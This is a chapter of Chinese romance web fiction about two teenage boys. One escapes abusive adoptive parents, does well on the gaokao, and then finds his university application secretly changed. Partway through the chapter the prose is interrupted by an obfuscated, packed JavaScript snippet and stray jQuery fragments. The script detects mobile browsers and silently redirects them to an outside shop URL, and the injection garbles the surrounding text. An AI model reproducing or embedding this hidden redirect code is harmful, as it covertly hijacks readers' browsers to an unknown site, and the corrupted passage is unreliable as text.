高考前最后一个月，苌斓住进了忘海家。律师说在监护权变更程序正式完成之前，养父母被禁止靠近他。忘海的养母把忘海隔壁的杂物间收拾出来，放了一张单人床、一张书桌。书桌摆在窗户旁边，拉开窗帘就能看到楼下那棵梧桐树。被子是新晒过的，枕套上有一圈淡蓝色的碎花，和忘海床上那套是同一个花色。她铺床的时候说，这是忘海他爸去商场挑的，挑了半天，说这个颜色耐脏。苌斓站在门口看着那两个并排的枕头——碎花的图案往左偏了一点，和忘海那间房的窗帘一样被风吹得微微晃动。他说谢谢阿姨。她头也没回，只是把被角掖得更整齐了些，说谢什么，你阿姨我买被套的时候就想好了，两套一样的，省得挑来挑去。
他住进去的第一个晚上，失眠了。不是因为不习惯——床很软，被子很暖，门锁完好无损，没有摄像头，没有醉酒后的骂声，没有随时可能被一脚踹开的门洞。恰恰相反，是因为太安静了。走廊里忘海的父亲偶尔咳嗽一声，客厅里的落地钟整点敲响，这些声音都不可怕。他不用再把呼吸压到最浅，不用再蜷在角落里把意识缩进大脑最深处。他躺在黑暗里，盯着天花板上从窗帘缝隙漏进来的一线月光，很久很久。然后隔壁房间传来轻轻的脚步声，忘海推开虚掩的门，端着两杯温水站在门口——这个画面很熟悉，只是这一次不是苌斓在病床上，是忘海在自己家里。他把水放在书桌上，在床边坐下，没有说话。苌斓也没有说话。他只是把手从被子里伸出来，放在忘海的手边，指尖碰着他的指尖。过了一会儿，他睡着了。
那一个月过得很快。每天早上忘海还是站在路口等他——现在不用等了，两人从同一个家门出来，并肩走过梧桐道。保温杯里还是七颗红枣，忘海的养母每天早上会往苌斓书包里多塞一个保鲜盒，有时候是切好的苹果，有时候是剥好的核桃仁。她什么也没说，只是每天换着花样地塞。有一次苌斓在保鲜盒底部发现一张便签，上面写着“核桃仁是现剥的，比袋装的好吃”。他把那张便签揭下来抚平，和之前那两张放在一起。现在他有五张便签了——母亲的两张，忘海的三张。他把它们夹在同一个笔记本里，按照时间顺序排列，第一张是“给小斓和忘海”，最近一张是“核桃仁是现剥的”。他想等高考结束以后买个相册，把便签一张一张放进去，第一页留给母亲，第二页留给忘海的养母。
他的成绩很稳。三次模拟考，两次全市前十，一次全市第三。班主任在班会上表扬了他三次，每次都用了“我们班的骄傲”这个词。忘海依旧每天坐在他旁边自习，两人面对面坐在餐桌两端。忘海的父亲在客厅看报纸，忘海的养母在厨房煮宵夜，一人一碗小馄饨，紫菜虾皮的底汤。高考前一周，苌斓整理笔记，忘海帮他抽背文综。背到一半忽然停下来，看着苌斓的侧脸，说了一句“你一定会考上的”。语气很轻，和每次说“红枣茶，七颗”时一样。不是鼓励，是陈述。苌斓没有抬头，只是把笔记翻到下一页，说考不上你养我。忘海顿了一下，说了声好。苌斓的笔尖停在纸上，耳根慢慢红了。他把笔记翻回来，说你刚才问的那个问题再问一遍，我没记住。忘海没有再问，只是微微弯了一下眼睛，翻到上一页重新开始抽背。
高考那三天，忘海的父亲请了假开车接送。忘海的养母每天早上给苌斓煮两个鸡蛋，一根油条，说这是老家的习俗，一百分的意思。忘海站在考场门口，把保温杯塞进他手里，没有说加油，只是和每次在路口分别时一样说了两个字：“等你。”每一场考完，忘海都站在同一个位置等他，手里拿着保温杯，围巾被晒得微微发烫——六月了，但他还是围着那条灰色围巾。苌斓说你热不热，他说不热，习惯了。
最后一场考完，苌斓走出考场。阳光很亮，梧桐树的叶子在风里翻出银白的背面。忘海站在树荫下，手里没有保温杯，而是抱着一束花——向日葵和洋桔梗，用牛皮纸包着，系了一根灰色的丝带。花是他自己挑的，向日葵是他挑的，说这个像你。洋桔梗是养母挑的，说这个好看。灰色丝带是他父亲挑的，说这个颜色素净。苌斓接过花，低头看着那根灰色丝带，沉默了很久。然后他抬起头说：“灰色是你围巾的颜色。”忘海说是，我爸说这样你就知道是我们家送的。这是我们家的花。
苌斓把花抱在怀里。我们家的花。他把那五个字在心里翻来覆去地咀嚼，像小时候吃奶糖那样慢慢抿，舍不得一口咽下去。回到忘海家，一推开门就看见客厅茶几上放着一个蛋糕，不大，够四个人吃，上面用巧克力酱写了六个字——“祝贺苌斓毕业”。字是忘海的父亲写的，他年轻时练过书法，每一个笔画都端端正正。忘海的养母从厨房里端出一盘糖醋排骨，说是忘海他爸一大早就去菜市场挑的小排，挑了半天。苌斓站在客厅里，看着茶几上的蛋糕、桌上冒着热气的糖醋排骨、忘海怀里还没来得及放下的花束、忘海父亲刚倒好的果汁、忘海养母正解下来的围裙。他十七年来第一次在这个世界上有了自己的房间、自己的枕头、自己的便签。
成绩公布那天，苌斓考了全省前二十。班主任在班级群里连发三条消息表示祝贺，建议他报A大，那是一所离这里很远的名校。他查了学校官网的图片发给忘海——梧桐大道比他们每天上学那条更宽，图书馆的穹顶画着天文星图，食堂有八个窗口卖不同口味的小馄饨。他一条一条地数给忘海听，声音压得很低，但每个字都在发亮。忘海听着，在他停下来换气的时候说了一句：“那我也考A大，在旁边找个学校，继续给你送豆浆。”苌斓说好。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724397|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
报志愿那天，苌斓坐在忘海家的电脑前，手边放着那张写满学校代码的草稿纸。他的第一志愿是A大，第二志愿也是A大的另一个专业。他把页面每一项都仔细核对过，然后点击提交。系统提示提交成功，他截了一张图发给忘海，附了一句话：“报了。A大。”忘海回了一个小人靠在墙边的表情。
但那个志愿没有抵达它该去的地方。
几天后，苌斓收到录取通知——不是A大，是本省一所普通院校。他盯着屏幕上的学校名字看了很久，确认自己没有填错，确认截图上清清楚楚写着A大的代码。他打电话给招生办，对方说系统里他的第一志愿就是这所学校，没有修改记录。他又打电话给班主任，班主任也很惊讶，说帮他查一下。几个小时之后回电话过来，语气很微妙：“志愿是用你的账号登上去改的。登录IP显示是你家的地址。苌斓，你是不是自己改了？”
他没有改。但那个IP地址是养父母家的。那两个人被保释出来后，法院还没走完最后的程序。他们不知道从哪里弄到了他的账号密码——也许是早就偷偷装在他房间里的摄像头拍到了他输入密码的画面，也许是养母翻他书包时看到了那张记着密码的便签。他们没有权限更改已经生效的监护权判决，但他们有他的志愿。
苌斓握着手机坐在床沿上，面前摊着那张A大官网的截图。梧桐大道、图书馆的天文星图、八个窗口的小馄饨，还有他发给忘海的那句“报了。A大。”他想起自己在摄像头底下小心翼翼藏好的每一张便签、在拳脚落下时一遍一遍默念的“别怕”、在病床上用还能动的手攥住忘海手指时心里想的都是同一件事——撑到高考，考出去，走得越远越好。他考了全省前二十，他填了A大，他提交了截图，他以为这一次终于可以自己决定自己要去哪里。
门被轻轻推开。忘海走进来，手里端着两杯温水。他把水放在书桌上，在苌斓面前蹲下来，看着他的眼睛。他的声音很稳，和每次说“红枣茶，七颗”时一样，但握着苌斓手腕的手指在轻轻发抖——不是害怕，是愤怒。那种看了上百次人生、深知人性之恶、却依然会被刺痛到骨子里的愤怒。
“不是你改的。是你养父母。我叫我爸联系律师，看看能不能走申诉程序。如果申诉不行，我们就复读。我陪你。”
苌斓没有哭。他只是把那张A大的截图从手机里翻出来，放在床头柜上，和那枚戒指、那张拼好的购物小票、那五张便签放在一起。然后他端起忘海放在桌上的水，喝了一口，放在那摞便签旁边。水杯底磕在木头桌面上发出一声轻响，和每一天放紫砂杯的声音一模一样。
“好。申诉不行就复读。你陪我。”
可是他养父母不会让他复读。